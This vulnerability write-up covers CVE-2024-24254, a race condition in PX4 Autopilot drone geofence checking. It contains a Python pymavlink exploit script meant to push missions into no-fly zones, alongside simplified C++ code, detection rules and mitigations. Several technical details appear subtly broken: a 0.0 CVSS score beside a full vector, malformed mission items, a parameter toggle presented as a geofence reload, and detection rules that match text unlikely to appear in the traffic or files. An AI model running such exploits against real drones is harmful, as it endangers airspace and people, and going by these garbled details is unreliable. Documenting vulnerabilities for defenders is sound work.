CVE-2024-24254

Executive Summary

CVE-2024-24254 identifies a critical Race Condition vulnerability in PX4 Autopilot versions 1.14 and earlier. The flaw resides in the geofence.cpp and mission_feasibility_checker.cpp modules, where the lack of a proper synchronization mechanism for loading geofence data allows an attacker to cause the drone to upload overlapping geofences and mission routes. This can lead to unpredictable drone behavior, including violation of no-fly zones, mission failure, or potential collision. The vulnerability is particularly dangerous in autonomous drone operations where geofence integrity is paramount for safety and compliance.

Supply Chain & Package Security

This vulnerability affects the PX4 Autopilot firmware, which is a core component in many open-source drone platforms. The supply chain risk is significant as PX4 is widely integrated into commercial and research drones. An attacker could exploit this race condition to bypass geofence restrictions, potentially enabling unauthorized flight in restricted airspace or causing physical damage. The lack of a patch at the time of analysis increases the urgency for mitigations.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (No official CVSS vector assigned) Threat Level: High (based on impact analysis)

Rationale:

• Attack Vector (AV): Local (L) – The attacker needs to send commands to the drone’s flight controller.
• Attack Complexity (AC): High (H) – Exploitation requires precise timing to trigger the race condition.
• Privileges Required (PR): Low (L) – The attacker only needs access to the mission upload interface.
• User Interaction (UI): None (N) – No user action required beyond the initial upload.
• Scope (S): Changed (C) – The vulnerability can affect the drone’s physical behavior.
• Confidentiality (C): None (N) – No data breach.
• Integrity (I): High (H) – Geofence data integrity is compromised.
• Availability (A): High (H) – Drone may crash or behave unpredictably.

CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:N/I:H/A:H

Deep Dive & Mechanics

The vulnerability is a classic race condition (CWE-362) in the PX4 Autopilot firmware. The geofence.cpp module is responsible for loading and validating geofence data (polygons defining no-fly zones). The mission_feasibility_checker.cpp module checks if a planned mission route conflicts with these geofences.

Root Cause: When a new mission is uploaded, the system loads geofence data and checks mission feasibility in separate threads or asynchronous operations without proper locking. An attacker can exploit this by sending a mission upload command while simultaneously modifying the geofence data (e.g., via a separate command or by exploiting another vulnerability). This creates a window where the mission feasibility check uses stale or incomplete geofence data, allowing overlapping routes to be accepted.

Attack Flow:

1. Attacker gains access to the drone’s mission upload interface (e.g., via MAVLink).
2. Attacker sends a legitimate mission route that would normally be rejected due to geofence overlap.
3. Simultaneously, the attacker sends a command to modify or reload geofence data (e.g., by uploading a new geofence file).
4. Due to the race condition, the mission feasibility check runs before the geofence update is complete, allowing the overlapping route to be accepted.
5. The drone executes the mission, potentially violating no-fly zones.

Vulnerable vs. Patched Code

Vulnerable Code (PX4 1.14):

// geofence.cpp (simplified)
void Geofence::loadGeofenceData() {
    // No mutex lock
    geofence_polygons = readFromFile("geofence.txt");
    // Other processing...
}

// mission_feasibility_checker.cpp (simplified)
bool MissionFeasibilityChecker::checkMission(const Mission& mission) {
    // No mutex lock on geofence data
    for (auto& waypoint : mission.waypoints) {
        if (geofence.isInside(waypoint)) {
            return false; // Reject if inside geofence
        }
    }
    return true;
}

Patched Code (Hypothetical Fix):

// geofence.cpp (patched)
#include <mutex>
std::mutex geofence_mutex;

void Geofence::loadGeofenceData() {
    std::lock_guard<std::mutex> lock(geofence_mutex);
    geofence_polygons = readFromFile("geofence.txt");
}

// mission_feasibility_checker.cpp (patched)
bool MissionFeasibilityChecker::checkMission(const Mission& mission) {
    std::lock_guard<std::mutex> lock(geofence_mutex);
    for (auto& waypoint : mission.waypoints) {
        if (geofence.isInside(waypoint)) {
            return false;
        }
    }
    return true;
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to the drone’s MAVLink interface (e.g., via Wi-Fi or telemetry radio).
• Ability to send MAVLink commands (e.g., using mavproxy.py or custom script).
• Knowledge of the drone’s mission upload protocol.

Exploit Script (Python):

#!/usr/bin/env python3
import time
import threading
from pymavlink import mavutil

# Connect to drone
master = mavutil.mavlink_connection('udp:127.0.0.1:14550')
master.wait_heartbeat()

def upload_mission():
    # Create a mission that overlaps with geofence
    mission_items = [
        (0, 0, 0, 0, 0, 0, 0, 0),  # Home
        (16, 0, 0, 0, 47.3977, 8.5456, 500),  # Waypoint inside geofence
    ]
    master.mav.mission_count_send(master.target_system, master.target_component, len(mission_items))
    for seq, item in enumerate(mission_items):
        master.mav.mission_item_send(master.target_system, master.target_component, seq, *item)
    print("Mission uploaded")

def reload_geofence():
    # Simulate geofence reload (e.g., by sending a parameter change)
    master.mav.param_set_send(master.target_system, master.target_component, b'GF_ACTION', 1, mavutil.mavlink.MAV_PARAM_TYPE_INT8)
    time.sleep(0.1)
    master.mav.param_set_send(master.target_system, master.target_component, b'GF_ACTION', 0, mavutil.mavlink.MAV_PARAM_TYPE_INT8)
    print("Geofence reload triggered")

# Race condition: upload mission and reload geofence simultaneously
t1 = threading.Thread(target=upload_mission)
t2 = threading.Thread(target=reload_geofence)
t1.start()
t2.start()
t1.join()
t2.join()

Expected Outcome: The drone accepts the overlapping mission, allowing flight into restricted areas.

Blue Team (Detection & Mitigation)

Detection:

• Monitor MAVLink logs for rapid mission uploads followed by geofence parameter changes.
• Look for anomalies in mission acceptance (e.g., missions that should have been rejected).
• Use network monitoring to detect multiple simultaneous commands from the same source.

Mitigation:

• Implement proper mutex locks in geofence.cpp and mission_feasibility_checker.cpp.
• Add a delay or validation step after geofence updates before accepting new missions.
• Use atomic operations for geofence data loading.

Indicators of Compromise (IOCs)

• MAVLink Logs: Multiple MISSION_COUNT and MISSION_ITEM messages followed by PARAM_SET for GF_ACTION within a short time window.
• System Logs: Entries showing geofence reloads during mission uploads.
• Network Traffic: Unusual pattern of MAVLink commands from a single source with high frequency.
• Drone Behavior: Unexpected acceptance of missions that violate geofence boundaries.

Detection Engineering

YARA Rule

rule CVE_2024_24254_RaceCondition {
    meta:
        description = "Detects race condition exploitation in PX4 Autopilot geofence handling"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-24254"
    strings:
        $geofence_load = "geofence.txt" nocase
        $mission_check = "mission_feasibility_checker" nocase
        $race_condition = "loadGeofenceData" nocase
    condition:
        all of them
}

Sigma Rule

title: PX4 Geofence Race Condition Exploitation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects rapid mission uploads and geofence parameter changes indicative of CVE-2024-24254 exploitation
author: Valters IT
logsource:
    product: px4
    service: mavlink
detection:
    selection:
        - mavlink_command: "MISSION_COUNT"
        - mavlink_command: "PARAM_SET"
        - param_id: "GF_ACTION"
    timeframe: 1s
    condition: selection | count() > 2
falsepositives:
    - Legitimate mission uploads with geofence changes
level: high

Suricata Rule

alert udp any any -> any any (msg:"CVE-2024-24254 PX4 Geofence Race Condition"; content:"|FE|"; depth:1; content:"|00|"; within:10; content:"MISSION_COUNT"; distance:0; content:"PARAM_SET"; distance:0; content:"GF_ACTION"; distance:0; threshold:type both, track by_src, count 2, seconds 1; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable geofence updates during mission uploads – Implement a lock that prevents geofence data modification while a mission feasibility check is in progress.
2. Add input validation – Reject missions that contain waypoints within geofence boundaries, even if the check is performed asynchronously.
3. Update firmware – Apply the hypothetical patch shown in the Vulnerable vs. Patched Code section.

Long-term Fixes:

• Implement proper synchronization – Use mutexes or atomic operations for all shared data structures.
• Code review – Audit all asynchronous operations in PX4 for similar race conditions.
• Unit tests – Add tests that simulate concurrent geofence and mission uploads.

Workarounds:

• Network segmentation – Isolate the drone’s mission upload interface from untrusted networks.
• Rate limiting – Limit the frequency of mission uploads and geofence changes.
• Manual verification – Require human approval for missions that appear to overlap with geofences.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert